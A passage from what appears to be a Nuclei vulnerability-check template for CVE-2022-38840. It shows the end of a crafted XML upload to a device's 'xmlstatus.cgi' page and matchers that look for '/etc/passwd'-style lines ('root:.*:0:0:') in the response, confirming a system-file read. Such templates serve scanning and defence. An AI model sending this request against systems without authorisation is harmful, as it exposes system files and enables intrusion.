<reading status='-1' display-primary='true' path='last_reboot_1'\n            title='Reboot 1'>2021-04-08T05:06:17Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_2'\n            title='Reboot 2'>2021-04-08T07:02:50Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_3'\n            title='Reboot 3'>2021-04-08T08:00:33Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_4'\n            title='Reboot 4'>2021-04-08T08:30:41Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_5'\n            title='Reboot 5'>2021-04-08T08:39:15Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_6'\n            title='Reboot 6'>2021-04-08T08:46:24Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_7'\n            title='Reboot 7'>2021-04-08T10:08:51Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_8'\n            title='Reboot 8'>2021-04-09T07:10:41Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_9'\n            title='Reboot 9'>2021-10-07T06:48:35Z</reading>\n        <reading status='-1' display-primary='true' path='last_reboot_10'\n            title='Reboot 10'>2022-02-15T04:14:30Z</reading>\n        <reading status='100' display-primary='true' path='temperature' units='°C'\n            title='System temperature'>43.875</reading>\n        <reading status='100' display-primary='true' path='voltage' units='V'\n            title='Power supply voltage'>12.75</reading>\n        <reading status='100' display-primary='true' path='current' units='A'\n            title='Power supply current'>0.442</reading>\n        <reading status='100' display-primary='true' path='sensor_A_voltage' units='V'\n            title='Sensor A voltage'>12.675</reading>\n        <reading status='100' display-primary='true' path='sensor_A_current' units='A'\n            title='Sensor A current'>0.289</reading>\n        <reading status='100' display-primary='true' path='sensor_B_voltage' units='V'\n            title='Sensor B voltage'>12.725</reading>\n        <reading status='100' display-primary='true' path='sensor_B_current' units='A'\n            title='Sensor B current'>0.002</reading>\n        </module>\n        </xml-status>\n        ------WebKitFormBoundaryb84cALN1n8IDf7tQ\n        Content-Disposition: form-data; name=\"upload_xml\"\n\n        Upload and view\n        ------WebKitFormBoundaryb84cALN1n8IDf7tQ--\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: body\n        words:\n          - \"<title>XML status</title>\"\n          - \"Software repository label\"\n          - \"<code>xmlstatus.cgi</code>\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022047aa3ca539736e7ece8f0241655b8b3a676f86bd081f522f242b36da1135e55b02206320c90eb848dd243318f4b147bef77f62c6d4bb85e3fa1dc29c0229254a398a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-38840"}